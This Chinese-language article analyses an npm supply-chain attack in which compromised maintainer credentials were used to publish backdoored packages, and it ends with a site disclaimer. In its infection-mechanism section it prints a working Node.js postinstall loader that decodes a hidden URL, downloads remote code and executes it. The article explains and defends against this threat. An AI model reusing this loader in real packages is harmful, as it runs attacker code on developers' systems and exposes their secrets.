
8 月底出现的一次复杂的 npm 供应链攻击通过向流行的 JavaScript 库中注入恶意负载,瞄准了数千个下游项目。
最初的报告指出了臭名昭著的域名抢注技术的新变种,但进一步的分析揭示了一个更为复杂的活动,它利用受损的维护者凭证以合法的软件包名称发布后门模块。
此次攻击迅速蔓延至整个生态系统,触及企业 SaaS 平台中的应用程序、开发人员工具甚至教育项目。
Wiz.io 的研究人员注意到,在无害的库更新后不久,持续集成 (CI) 管道就会出现异常的网络活动。
虽然初步遥测表明存在数据泄露,但仔细检查发现有效载荷仅执行了有条件的例程,避免了彻底的破坏行为。
相反,恶意代码对环境变量进行采样,记录系统元数据,并准备从攻击者控制的域下载辅助有效载荷。
通过设计,攻击者尽量减少可检测到的异常,并结合常规包更新和谨慎的版本控制策略来保持持久性。
影响评估估计,在维护人员回滚受影响的版本之前,超过 4,500 个项目至少获取了一个受损版本。
尽管影响范围广泛,但对与该活动相关的基于区块链的支付渠道和加密货币钱包的分析表明,最终只有少数交易(总价值不到 200 美元)完成。

较低的财务收益率表明,运营商对侦察和建立立足点比立即赚钱更感兴趣,凸显了现代供应链威胁背后不断变化的动机。
Wiz.io 分析师后来发现了流行的 CI 日志中嵌入的其他妥协指标 (IoC),包括混淆的 URL 和 base64 编码的数据块,它们作为更复杂的恶意软件家族的初始登台点。
这一发现促使各大开发团队迅速修补管道脚本,并加强对 npm 注册凭证的审查。
感染机制和持久性
恶意软件包采用了多阶段感染机制,首先从看似无害的安装后脚本开始。
安装后,脚本将执行一个用 Node.js 编写的小型加载程序:
// figure1_loader.js
const https = require('https');
const { exec } = require('child_process');
const payloadUrl = Buffer.from('aHR0cHM6Ly9lbWFpbC5hZGRyZXNzLmNvbS9sb2FkZXIuanM=', 'base64').toString();
https.get(payloadUrl, (res) => {
let data = '';
res.on('data', (chunk) => data += chunk);
res.on('end', () => {
exec(data, (error, stdout, stderr) => {
if (error) console.error(stderr);
else console.log(stdout);
});
});
});
这展示了攻击者如何使用 Base64 编码隐藏真实的下载 URL 来逃避简单的字符串匹配防御。
检索到辅助有效载荷后,加载程序会将 Node.js 服务文件写入用户的主目录,确保系统重启时自动执行。
该服务引入了一个持久层,可以在软件包删除和注册表清理后继续存在,从而有效地授予攻击者对受损开发环境的长期访问权限。
通过将看似无害的脚本和加密阶段链接在一起,该活动避开了常见的检测机制,并强调了供应链威胁日益复杂化。
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。
